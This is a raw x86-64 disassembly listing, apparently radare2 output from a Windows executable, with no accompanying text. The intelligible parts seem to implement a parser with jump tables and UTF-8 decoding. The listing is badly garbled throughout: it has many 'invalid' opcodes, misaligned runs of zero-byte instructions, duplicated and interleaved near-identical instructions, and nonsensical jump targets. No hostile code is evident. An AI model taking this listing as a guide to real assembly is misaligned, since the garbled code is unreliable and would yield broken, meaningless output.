test byte [rsi + 2], al
add r8b, byte [rax]
add bl, ch
invalid
add byte [rax], al
jmp case.0x140080ba4.99
mov ebx, 0xb101b640
cmovne esi, dword [rcx]
xor r13d, r13d
mov sil, 1
add dword [rcx - 0x12cebaf1], esi
mov cl, 0xf
xor r13d, r13d
test al, al
je 0x140027136
xor al, 2
add byte [rax], al
ror byte [rdi], 0x84
xor al, 2
add byte [rax], al
jmp case.0x140080ba4.99
mov sil, 1
add dword [rcx - 0x12cebaf0], esi
mov cl, 0x10
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
in eax, dx
test al, al
je 0x140027136
and al, byte [rdx]
add byte [rax], al
invalid
ror byte [rdi], 0x84
and al, byte [rdx]
add byte [rax], al
invalid
jmp case.0x140080ba4.99
xchg edi, eax
test al, al
jne case.0x140026776.38
invalid
invalid
add byte [rax], al
and eax, 0xb0410000
add byte [rax], al
mov r8b, 8
mov al, 8
or cl, ch
jmp 0x14002719a
je case.0x140026cbd.45
add byte [rax], al
test al, al
jne case.0x140026776.38
test dword [rbx], ecx
and eax, 0xeb10000
mov cl, 0xe
mov sil, 1
mov dh, 1
mov r13d, 2
mov ebp, 2
add byte [rax], al
add byte [rax - 0x73], cl
invalid
add byte [rax], al
lea rdi, [0x1400d7060]
lea edi, [0x1400d7060]
cmp eax, 0xb0120
or eax, dword [rax]
jmp 0x14002713b
test byte [rcx], 0
add byte [rax - 0x4a], al
add dword [rcx - 0x12cebaef], esi
xor ebp, ebp
mov sil, 1
mov cl, 0x11
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
in eax, dx
test al, al
je 0x140027136
test cl, ah
add dword [rax], eax
add byte [rax], al
add cl, ch
jmp case.0x140080ba4.99
push rbx
invalid
test al, al
jne case.0x140026776.38
add byte [rax], al
add byte [rax], al
mov cl, 0xe
mov sil, 1
mov r13d, 4
mov ebp, 4
add byte [rax], al
add byte [rax - 0x73], cl
cmp eax, 0xb011c
add dword [rbx], ecx
invalid
add byte [rax], al
lea rdi, [0x1400d7090]
sbb al, 1
or eax, dword [rax]
add dword [rbx], ecx
add cl, ch
invalid
jmp 0x14002713b
ret 1
add dword [rax], eax
add byte [rax - 0x4a], al
mov sil, 1
mov cl, 8
xor r13d, r13d
xor ebp, ebp
add byte [rax], al
mov sil, 1
mov cl, 8
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
in eax, dx
test al, al
je 0x140027136
invalid
lodsd eax, dword [rsi]
add dword [rax], eax
invalid
test byte [rbp - 0x16ffffff], ch
lodsd eax, dword [rsi]
add dword [rax], eax
add cl, ch
add byte [rax], al
jmp case.0x140080ba4.99
invalid
invalid
invalid
mov sil, 1
add dword [rcx - 0x12cebaf6], esi
mov cl, 0xa
xor r13d, r13d
xor ebp, ebp
or al, byte [rbp + 0x31]
in eax, dx
xor ebp, ebp
test al, al
je 0x140027136
add byte [rax], al
add byte [rax], al
jmp case.0x140080ba4.99
or bh, bh
invalid
invalid
inc dword [rax - 0x4a]
mov sil, 1
add dword [rcx - 0x12cebaf7], esi
mov cl, 9
xor r13d, r13d
or dword [rbp + 0x31], eax
in eax, dx
test al, al
je 0x140027136
invalid
add dword [rcx], 0
invalid
ror byte [rdi], 0x84
add dword [rcx], 0
add cl, ch
jmp case.0x140080ba4.99
cmc
invalid
invalid
test al, al
jne case.0x140026776.38
test dword [rcx + 0x24], edi
jns case.0x140075b85.153
and al, 0
add byte [rax], al
add byte [rcx + 0x1b6400e], dh
mov cl, 0xe
mov sil, 1
mov r13d, 4
add byte [rax - 0x73], cl
cmp eax, 0xb04be
or eax, dword [rax]
lea rdi, [0x1400d7490]
or eax, dword [rax]
add cl, ch
add dword fs:[rax], eax
jmp 0x14002713b
add byte [rax - 0x4a], al
add dword [rbp + 0x31], eax
xor ebp, ebp
mov sil, 1
xor r13d, r13d
xor ebp, ebp
xor ecx, ecx
leave
test al, al
ror byte [rdi], 0x84
add qword [r8], r8
invalid
je 0x140027136
test byte [rdi + 1], cl
add byte [rax], al
add cl, ch
sar esi, 0xff
inc dword [rax + rax*8 + 0x2445850f]
test al, al
invalid
test dword [rbp + 0x24], eax
invalid
jmp case.0x140080ba4.99
test al, al
jne case.0x140026776.38
and al, 0
invalid
and al, 0
add byte [rax], al
add byte [rcx - 0x50], al
invalid
mov r8b, 0xe
jmp 0x14002719a
add byte [rax], al
add byte [rax + rax*8 + 0x2435850f], al
test al, al
jne case.0x140026776.38
and al, 0
add byte [rcx - 0x50], al
mov al, 6
add byte [rax], al
mov r8b, 6
mov al, 6
jmp 0x14002719a
mov es, word [rcx]
add byte [rax], al
invalid
test al, al
ror byte [rdi], 0x85
jne case.0x140026776.38
test dword [0x181027039], esp
and eax, 0x41000024
mov r8b, 6
mov al, 6
invalid
mov r13d, 0xc
lea rax, [0x1400d7358]
lea eax, [0x1400d7358]
add ecx, dword [rbx]
add byte [rax - 0x77], cl
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x30], rax
jmp 0x14002719d
add dword [rax], eax
add byte [rax - 0x4a], al
mov sil, 1
mov cl, 7
xor r13d, r13d
in eax, dx
mov sil, 1
mov dh, 1
mov cl, 7
xor r13d, r13d
in eax, dx
invalid
in eax, dx
test al, al
je 0x140027136
clc
add byte [rax], al
invalid
clc
add byte [rax], al
add cl, ch
push 0xfffffffffffffffe
invalid
jmp case.0x140080ba4.99
invalid
inc dword [rax - 0x4a]
add dh, byte [rcx - 0x12cebaf9]
mov cl, 7
xor r13d, r13d
in eax, dx
mov sil, 2
mov cl, 7
xor r13d, r13d
in eax, dx
invalid
in eax, dx
test al, al
je 0x140027136
test bl, ah
add byte [rax], al
add cl, ch
push rbp
invalid
add byte [rax], al
jmp case.0x140080ba4.99
mov sil, 1
mov cl, 0x12
xor r13d, r13d
xor ebp, ebp
adc al, byte [rbp + 0x31]
xor ebp, ebp
in eax, dx
test al, al
je 0x140027136
jmp case.0x140080ba4.99
mov sil, 1
mov cl, 5
add dword [rcx - 0x12cebafb], esi
xor r13d, r13d
test al, al
je 0x140027136
add byte [rax], al
add cl, ch
add byte [rax], al
jmp case.0x140080ba4.99
sub edi, esi
invalid
mov sil, 1
mov cl, 0xd
xor r13d, r13d
test al, al
je 0x140027136
movsb byte [rdi], byte [rsi]
add byte [rax], al
invalid
ror byte [rdi], 0x84
movsb byte [rdi], byte [rsi]
add byte [rax], al
add cl, ch
invalid
jmp case.0x140080ba4.99
mov sil, 2
mov cl, 0xe
xor r13d, r13d
test al, al
je 0x140027136
jmp case.0x140080ba4.99
invalid
mov sil, 2
mov cl, 0xf
xor r13d, r13d
in eax, dx
in eax, dx
test al, al
je 0x140027136
jmp case.0x140080ba4.99
invalid
mov sil, 1
mov cl, 6
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
test al, al
je 0x140027136
sal byte [rbp + rbp*2 - 0x17], 0xdf
std
invalid
jmp case.0x140080ba4.99
test al, al
jne case.0x140026776.38
mov cl, 0xf
mov sil, 1
mov r13d, 6
lea rdi, [0x1400d7508]
cmovo esi, dword [rsi + 0x6bd4101]
add byte [rax], al
add byte [rax - 0x73], cl
cmp eax, 0xb0420
jmp 0x14002713b
mov cl, 0xc
xor r13d, r13d
or al, 0x45
xor ebp, ebp
xor esi, esi
test al, al
je 0x140027136
jmp case.0x140080ba4.99
test al, al
jne case.0x140026776.38
mov cl, 6
mov sil, 1
mov r13d, 4
lea rdi, [0x1400d72e0]
jmp 0x14002713b
mov sil, 1
mov cl, 2
xor r13d, r13d
test al, al
je 0x140027136
jmp case.0x140080ba4.99
xchg ch, bh
invalid
mov cl, 0x13
xor r13d, r13d
xor esi, esi
test al, al
jne case.0x140080ba4.99
mov rdi, qword [rsp + 0x30]
mov edx, 2
movzx eax, cl
add byte [rdi], cl
mov dh, 0xc1
lea rcx, [0x1400ef410]
movsxd r8, dword [rcx + rax*4]
add r8, rcx
mov r14, r15
mov rax, qword [rsp + 0x138]
mov ecx, dword [rsp + 0xcc]
jmp r8
invalid
loopne 0x1400271af
mov rax, qword [rsp + 0x238]
mov eax, dword [rsp + 0x238]
jmp case.0x14002615d.1
test al, al
jne case.0x140026776.38
mov cl, 7
mov sil, 2
mov r13d, 4
mov ebp, 4
mov ebp, 4
lea rdi, [0x1400d70f8]
jmp 0x14002713b
test al, al
jne case.0x140026776.38
mov r8b, 0x13
xor r13d, r13d
mov rcx, qword [rsp + 0x50]
mov dil, 5
lea eax, [r8 - 4]
movzx eax, al
cmp al, 0x13
mov edx, 0x13
adc eax, dword [rax]
add byte [rax], al
cmovae eax, edx
movzx edx, al
lea r9, [0x1400ef460]
movsxd rdx, dword [r9 + rdx*4]
add rdx, r9
mov qword [rsp + 0x50], rcx
mov r14, r15
jmp rdx
cmp qword [rsp + 0x100], 0
je case.0x140026776.38
cmp al, 0xe
mov byte [rsp + 0x91], 1
jmp 0x140027f8d
movzx ecx, word [rdi]
xor ecx, 0x3a3a
movzx edx, byte [rdi + 2]
xor edx, 0x7a
or dx, cx
je 0x1400273d3
movzx ecx, word [rdi]
cmp ecx, 0x7a3a
jne 0x1400273a2
cmp byte [rdi + 2], 0xbf
jle 0x14002969c
add r15, 0xfffffffffffffffe
jmp 0x14002743d
mov edx, r11d
and edx, 0x1f
movzx r10d, byte [rcx + 1]
and r10d, 0x3f
cmp r11b, 0xdf
jbe 0x1400273e9
movzx r8d, byte [rcx + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x140027459
movzx r11d, byte [rcx + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and r11d, 0x3f
or r11d, r8d
or r11d, edx
cmp r11d, 0x110000
jne 0x140027462
jmp case.0x140026776.38
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r11 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400273f4
movzx r8d, byte [r11 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x140027572
movzx ecx, byte [r11 + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
jne 0x14002757b
jmp case.0x140026776.38
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r11 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x140027401
movzx r8d, byte [r11 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400275ee
movzx ecx, byte [r11 + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
jne 0x1400275f7
jmp case.0x140026776.38
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r11 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x14002740e
movzx r8d, byte [r11 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x14002766a
invalid
movzx ecx, byte [r11 + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
invalid
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
jne 0x140027673
add al, byte [rax]
invalid
jmp case.0x140026776.38
movzx ecx, word [rdi]
cmp ecx, 0x7a3a
je 0x14002743a
cmp byte [rdi], 0x7a
jne case.0x140026776.38
cmp byte [rdi + 1], 0xbf
jle 0x140029646
dec r15
test al, al
jne case.0x140026776.38
mov rcx, qword [rsp + 0x50]
inc rcx
mov r8b, 0xf
xor r13d, r13d
jmp 0x1400271a2
cmp r15, 4
jb 0x14002741b
cmp byte [rdi + 3], 0xbf
jle 0x1400296b0
add r15, 0xfffffffffffffffd
jmp 0x14002741e
shl edx, 6
or edx, r10d
mov r11d, edx
jmp 0x140027462
shl edx, 6
or edx, r10d
mov ecx, edx
jmp 0x14002757b
shl edx, 6
or edx, r10d
mov ecx, edx
jmp 0x1400275f7
shl edx, 6
or edx, r10d
mov ecx, edx
jmp 0x140027673
xor r15d, r15d
test al, al
jne case.0x140026776.38
mov rcx, qword [rsp + 0x50]
add rcx, 3
mov r8b, 0x11
xor r13d, r13d
jmp 0x1400271a2
xor r15d, r15d
test al, al
jne case.0x140026776.38
mov rcx, qword [rsp + 0x50]
add rcx, 2
mov r8b, 0x10
xor r13d, r13d
jmp 0x1400271a2
shl edx, 0xc
or r8d, edx
mov r11d, r8d
mov r8d, 1
cmp r11d, 0x80
jae 0x140027478
invalid
mov rcx, qword [rsp + 0x50]
jmp 0x14002749d
mov r8d, 2
cmp r11d, 0x800
mov rcx, qword [rsp + 0x50]
jb 0x14002749d
cmp r11d, 0x10000
mov r8d, 4
sbb r8, 0
mov rdx, r15
sub rdx, r8
jbe 0x1400274b1
cmp byte [rcx + r8], 0xbf
jg 0x1400274b7
jmp 0x1400295fd
jne 0x1400295fd
add rcx, r8
mov qword [rsp + 0x50], rcx
mov dil, 6
cmp r11d, 0x38
jg 0x140027502
cmp r11d, 0x33
je 0x140027516
invalid
cmp r11d, 0x36
jne 0x14002756a
cmp r15, r8
je case.0x140026776.38
add byte [rax], al
mov rcx, qword [rsp + 0x50]
movzx r10d, byte [rcx]
movzx esi, r10b
test sil, sil
js 0x1400276e6
mov r8d, 1
jmp 0x140027868
cmp r11d, 0x39
je 0x140027540
cmp r11d, 0x66
jne 0x14002756a
mov dil, 5
mov r8b, 0xa
jmp 0x14002756a
cmp r15, r8
je case.0x140026776.38
mov rcx, qword [rsp + 0x50]
movzx r10d, byte [rcx]
movzx esi, r10b
test sil, sil
js 0x140027744
mov r8d, 1
jmp 0x1400278e0
cmp r15, r8
je case.0x140026776.38
mov rcx, qword [rsp + 0x50]
movzx r10d, byte [rcx]
movzx esi, r10b
test sil, sil
js 0x1400277a2
mov r8d, 1
jmp 0x140027955
mov r14, rdx
jmp 0x140027986
shl edx, 0xc
or r8d, edx
mov ecx, r8d
mov r8d, 1
cmp ecx, 0x80
jae 0x140027590
mov r11, qword [rsp + 0x50]
jmp 0x1400275b3
mov r8d, 2
cmp ecx, 0x800
mov r11, qword [rsp + 0x50]
jb 0x1400275b3
cmp ecx, 0x10000
mov r8d, 4
sbb r8, 0
mov r14, r15
sub r14, r8
invalid
jbe 0x1400275c7
cmp byte [r11 + r8], 0xbf
jg 0x1400275cd
jmp 0x140029616
jne 0x140029616
cmp ecx, 0x66
sete cl
test al, al
jne case.0x140026776.38
add byte [rax], al
add qword [rsp + 0x50], r8
mov dil, 6
sub dil, cl
mov r8b, 1
add ecx, ebp
invalid
add eax, dword [rax]
invalid
shl edx, 0xc
or r8d, edx
or eax, edx
mov ecx, r8d
mov r8d, 1
cmp ecx, 0x80
jae 0x14002760c
mov r11, qword [rsp + 0x50]
jmp 0x14002762f
mov r8d, 2
cmp ecx, 0x800
mov r11, qword [rsp + 0x50]
push rax
jb 0x14002762f
cmp ecx, 0x10000
mov r8d, 4
sbb r8, 0
mov r14, r15
sub r14, r8
jbe 0x140027643
cmp byte [r11 + r8], 0xbf
jg 0x140027649
jmp 0x14002961f
jne 0x14002961f
cmp ecx, 0x66
sete cl
test al, al
jne case.0x140026776.38
add qword [rsp + 0x50], r8
mov dil, 6
sub dil, cl
mov r8b, 2
jmp case.0x14001b912.193
shl edx, 0xc
or r8d, edx
mov ecx, r8d
mov r8d, 1
cmp ecx, 0x80
jae 0x140027688
mov r11, qword [rsp + 0x50]
jmp 0x1400276ab
mov r8d, 2
cmp ecx, 0x800
mov r11, qword [rsp + 0x50]
jb 0x1400276ab
cmp ecx, 0x10000
mov r8d, 4
sbb r8, 0
mov r14, r15
sub r14, r8
jbe 0x1400276bf
cmp byte [r11 + r8], 0xbf
jg 0x1400276c5
jmp 0x140029628
jne 0x140029628
cmp ecx, 0x66
sete cl
test al, al
jne case.0x140026776.38
add qword [rsp + 0x50], r8
mov dil, 6
sub dil, cl
mov r8b, 3
jmp case.0x14001b912.193
mov r8d, esi
and r8d, 0x1f
and eax, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp sil, 0xdf
jbe 0x1400277fc
movzx r9d, byte [rcx + 2]
shl r11d, 6
shl ebx, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb case.0x14001b912.180
invalid
or al, 1
add byte [rax], al
movzx esi, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and esi, 0x3f
or esi, r9d
or esi, r8d
or esi, eax
cmp esi, 0x110000
jne 0x140027830
test ecx, esi
add byte [rax], al
add cl, ch
invalid
jmp case.0x140026776.38
cmc
sbb al, 0
add byte [rcx - 0x77], al
invalid
mov r8d, esi
and r8d, 0x1f
loopne 0x14002776a
loopne 0x14002776a
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp sil, 0xdf
jbe 0x140027808
add byte [rax], al
invalid
stosb byte [rdi], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
add al, byte [r9 - 0x3f]
jrcxz 0x14002776d
movzx r9d, byte [rcx + 2]
movzx ecx, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
loope 0x1400277aa
invalid
or r9d, r11d
cmp r10b, 0xf0
jb 0x14002789e
add dword es:[rax], eax
invalid
fld dword [rcx - 0x80]
cli
invalid
add dword es:[rax], eax
add byte [rdi], cl
mov dh, 0x71
add byte [rax], al
movzx esi, byte [rcx + 3]
and r8d, 7
add eax, dword [rcx - 0x7d]
loopne 0x140027787
shl r8d, 0x12
shl r9d, 6
shl ecx, 6
shl ecx, 6
loope 0x14002778e
invalid
and esi, 0x3f
or esi, r9d
or esi, r8d
cmp esi, 0x110000
adc dword [rax], eax
add byte [rcx], dl
add byte [rdi], cl
invalid
test dword [rbx], ecx
adc dword [rax], eax
jne 0x1400278a8
add dword [rax], eax
add cl, ch
xchg edi, eax
jmp case.0x140026776.38
sbb al, 0
add byte [rcx - 0x77], al
invalid
mov r8d, esi
and r8d, 0x1f
loopne 0x1400277c8
loopne 0x1400277c8
movzx r11d, byte [rcx + 1]
movzx ebx, byte [rcx + 1]
and r11d, 0x3f
jrcxz 0x1400277f1
cmp sil, 0xdf
jbe 0x140027817
movzx r9d, byte [rcx + 2]
shl r11d, 6
invalid
add al, byte [r9 - 0x3f]
jrcxz 0x1400277c7
invalid
invalid
and r9d, 0x3f
or r9d, r11d
fld dword [rcx - 0x80]
cmp r10b, 0xf0
jb 0x140027913
add dword [rax], eax
invalid
cli
invalid
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x71
jno case.0x14006b1f5.124
and r8d, 7
movzx esi, byte [rcx + 3]
jno case.0x14006b1f5.124
and r8d, 7
and eax, 7
invalid
shl r8d, 0x12
shl r9d, 6
and esi, 0x3f
or esi, r9d
invalid
or esi, ecx
or esi, r8d
cmp esi, 0x110000
add byte [rdi], cl
test dword [rsi], esp
add dword [rax], eax
add cl, ch
cmp eax, 0x4100001c
jne 0x14002791d
add byte [rax], al
jmp case.0x140026776.38
shl r8d, 6
shl eax, 6
or r8d, r11d
mov esi, r8d
mov esi, eax
fadd dword [rcx + rcx*4 - 0x3a]
mov esi, eax
jmp 0x140027830
sub byte [rcx - 0x3f], al
shl r8d, 6
loopne 0x140027812
or r8d, r11d
mov esi, r8d
invalid
invalid
jmp 0x1400278a8
shl r8d, 6
or r8d, r11d
mov esi, r8d
invalid
jmp 0x14002791d
add byte [rax], al
add byte [rcx - 0x3f], al
invalid
invalid
shl r8d, 0xc
loopne 0x140027836
or r9d, r8d
mov esi, r9d
mov r8d, 1
cmp esi, 0x80
jae 0x140027845
mov rcx, qword [rsp + 0x50]
and al, 0x50
jmp 0x140027868
mov r8d, 2
cmp esi, 0x800
add byte [rax], cl
add byte [rax], al
add byte [rax], cl
add byte [rax], al
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
jb 0x140027868
adc byte [rcx + 0x10000fe], al
add byte [rcx - 0x48], al
invalid
cmp esi, 0x10000
add byte [rax], al
add dword [rax], eax
mov r8d, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
fadd dword [rax]
sbb r8, 0
mov r14, rdx
sub r14, r8
jbe case.0x1400279e4.162
invalid
cmp byte [rcx + r8], 0xbf
add dword [rdi - 0x2116f481], edi
sbb eax, 0x850f0000
add byte [rdi], cl
test eax, ebx
sbb eax, 0x14c0000
jg 0x140027882
jmp 0x14002965a
add byte [rax], al
jne 0x14002965a
add rcx, r8
ror dword [rax - 0x77], 0x4c
and al, 0x50
push rax
mov qword [rsp + 0x50], rcx
push rax
cmp esi, 0x66
sete cl
sete cl
mov dil, 6
sub dil, cl
mov r8b, 0xc
jmp 0x140027986
add byte [rcx - 0x3f], al
shl r8d, 0xc
loopne 0x1400278ae
or r9d, r8d
mov esi, r9d
mov esi, ecx
mov esi, ecx
mov r8d, 1
add byte [rcx + 0x80fe], al
add byte [rbx + 7], dh
cmp esi, 0x80
jae 0x1400278bd
inc byte [rax + 0x73000000]
invalid
mov rcx, qword [rsp + 0x50]
push rax
jmp 0x1400278e0
and eax, dword [rcx - 0x48]
add al, byte [rax]
mov r8d, 2
add byte [rax], al
cmp esi, 0x800
mov rcx, qword [rsp + 0x50]
jb 0x1400278e0
adc byte [rcx + 0x10000fe], al
add byte [rcx - 0x48], al
mov r8d, 4
cmp esi, 0x10000
mov r8d, 4
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
sbb r8, 0
sbb eax, 0
fadd dword [rax]
mov r14, rdx
mov esi, edx
sub r14, r8
jbe 0x1400278f4
cmp byte [rcx + r8], 0xbf
cmp byte [rcx + rax], 0xbf
cmp al, 1
add dword [rdi + 0x7ce90b7f], edi
mov edi, 0x7ce90b7f
jg 0x1400278fa
jmp 0x140029670
sbb eax, 0x850f0000
jbe case.0x1400261fe.129
jne 0x140029670
add byte [rax], al
add byte [rcx + rax - 0x3f], cl
add rcx, r8
add ecx, eax
mov qword [rsp + 0x50], rcx
cmp esi, 0x66
sete cl
xchg esp, eax
rol dword [rax - 0x49], 6
mov dil, 6
mov dil, 6
invalid
sub dil, cl
iretd
mov r8b, 0xb
mov al, 0xb
jmp 0x140027986
shl r8d, 0xc
loopne 0x140027923
or r9d, r8d
mov esi, r9d
rol dword [rcx + rcx*4 - 0x32], 0x41
mov eax, 1
add byte [rax], al
mov r8d, 1
add byte [rax], al
add byte [rcx + 0x80fe], al
cmp esi, 0x80
jae 0x140027932
add byte [rbx + 7], dh
invalid
mov rcx, qword [rsp + 0x50]
and al, 0x50
jmp 0x140027955
mov r8d, 2
cmp esi, 0x800
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
add byte [rax - 0x75], cl
mov ecx, dword [rsp + 0x50]
and al, 0x50
jb 0x140027955
cmp esi, 0x10000
inc byte [rax]
add byte [rcx], al
add dword [rax], eax
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
mov r8d, 4
sbb r8, 0
mov r14, rdx
mov esi, edx
sub r14, r8
jbe 0x140027969
cmp byte [rcx + r8], 0xbf
jg 0x14002796f
jmp 0x140029686
sbb eax, 0xf00001d
jne 0x140029686
test dword [rdi], edx
sbb eax, 0x14c0000
add ecx, eax
invalid
invalid
invalid
add byte [rax], al
add rcx, r8
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x50], ecx
and al, 0x50
and al, 0x50
cmp esi, 0x66
sete cl
invalid
sete cl
mov dil, 6
mov bh, 6
sub dil, cl
mov r8b, 0xd
mov al, 0xd
test al, al
jne case.0x140026776.38
test dword [rbx - 0x41ffffe6], ebp
add byte [rax], al
mov esi, 1
add dword [rax], eax
add byte [rax], al
xor r13d, r13d
xor ebp, ebp
movzx eax, dil
lea rcx, [0x1400ef3f4]
push rbx
jp 0x1400279ac
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
loopne 0x140027994
jmp 0x1400261cf
and al, ch
invalid
call 0xcb4f79b0
jl 0x1400279d7
mov r15, qword [rsp + 0x30]
mov edi, dword [rsp + 0x30]
xor cl, ch
jmp 0x1400262d1
sbb cl, ch
invalid
jmp 0x142bd79ba
invalid
mov edx, 2
add al, byte [rax]
add byte [rax], al
movzx eax, r8b
mov dh, 0xc0
ror byte [rax - 0x73], 0xd
jp case.0x140080ba4.154
invalid
lea rcx, [0x1400ef410]
or eax, 0xc7a47
or al, 0
add byte [rbx + riz*2 + 4], cl
movsxd r8, dword [rcx + rax*4]
invalid
add al, 0x81
or dword [rcx + 1], 0x848b48c8
and al, 0x38
invalid
add r8, rcx
mov rax, qword [rsp + 0x138]
test byte [rax + rdi], ah
add dword [rax], eax
invalid
test byte [rax + rdi], ah
cmp byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0xcc248c], cl
add byte [rax], al
invalid
mov ecx, dword [rsp + 0xcc]
mov word [rsp + rcx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
jl 0x140027a07
mov rdi, qword [rsp + 0x30]
and al, 0x30
xor byte [rcx - 1], al
loopne 0x140027973
invalid
jmp r8
jmp rax
mov ecx, dword [rsp + 0xcc]
mov word [rsp + rcx*8], fs
and al, 0xcc
add byte [rax], al
add byte [rax - 0x75], cl
add byte [rax], al
mov rdx, qword [rsp + 0xf0]
xchg esp, eax
and al, 0xf0
add byte [rax], al
invalid
add byte [rax], al
add al, ch
jne 0x14002798c
call fcn.140040d70
add dword [rax], eax
add byte [rcx + 0xaf9c1c1], cl
mov ecx, eax
sar ecx, 0xa
stc
invalid
stc
or cl, byte [rax + 0x63]
ror dword [rax - 0x39], 0x84
invalid
test byte [rax + rax*2], ah
movsxd rax, ecx
mov qword [rsp + 0x140], 4
mov dword [rsp + 0x140], 4
mov dword [rsp + 0x140], 4
test byte [rax + rax*2], ah
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add al, 0
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [0x14002a12b], bh
invalid
invalid
add byte [rax], al
invalid
mov qword [rsp + 0xf8], rax
cmp eax, 0x270f
invalid
invalid
add byte [rax], al
invalid
invalid
add byte [rdi], cl
xchg byte [rsi + 2], ah
jbe 0x140027c88
add byte [rax], al
test sil, sil
lea rdx, [0x1400b11a0]
je 0x1400279c1
or byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x30], rdi
and al, 0x30
je 0x140027e11
invalid
add eax, dword [rax]
add byte [rax + 0xf], al
invalid
invalid
movzx eax, sil
mov dh, 0xc6
mov byte [rbx - 0x7af0fd08], 0x83
cmp eax, 2
jne 0x140027ecc
add al, 0
invalid
add al, 0
add byte [rax - 0x39], cl
and al, 0x58
and al, 0x58
mov qword [rsp + 0x58], 5
and al, 0x58
add eax, 0x48000000
lea eax, [rsp + 0xf8]
and al, 0xf8
add byte [rax], al
invalid
add byte [rax], al
lea rax, [rsp + 0xf8]
and al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd0], eax
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x140049d50]
add eax, 0x222e7
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
mov qword [rsp + 0xd8], rax
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x58]
add byte [rax], al
lea rax, [rsp + 0x58]
mov qword [rsp + 0xe0], rax
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
lea rax, [0x140041590]
add eax, 0x19b0b
mov qword [rsp + 0xe8], rax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
and al, 0xb0
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x48], cl
invalid
invalid
and byte [rax], al
movabs rax, 0x100000020
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jmp 0x140027d27
add byte [rax], al
mov rax, qword [rsp + 0x248]
jmp case.0x14002615d.1
add al, byte [rax]
add cl, ch
lahf
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x258]
jmp case.0x14002615d.1
mov ecx, dword [rsp + 0xcc]
mov rax, qword [rsp + 0x258]
mov eax, dword [rsp + 0x258]
jmp case.0x14002615d.1
add byte [rax], al
mov ecx, dword [rsp + 0xcc]
mov rdx, qword [rsp + 0xf0]
call fcn.140040d70
xchg edx, eax
add dword [rax], eax
xchg edx, eax
add dword [rax], eax
sar eax, 0xa
cdqe
imul rcx, rax, 0x51eb851f
jmp 0x140027b57
mov rdx, rcx
shr rdx, 0x3f
jmp 0x140027b57
sar rcx, 0x25
add ecx, edx
imul edx, ecx, 0x64
sub eax, edx
sar eax, 0x1f
add eax, ecx
cdqe
mov edx, 2
jmp case.0x14002615d.1
mov edx, 1
mov rax, qword [rsp + 0x230]
and al, 0x30
add al, byte [rax]
add cl, ch
invalid
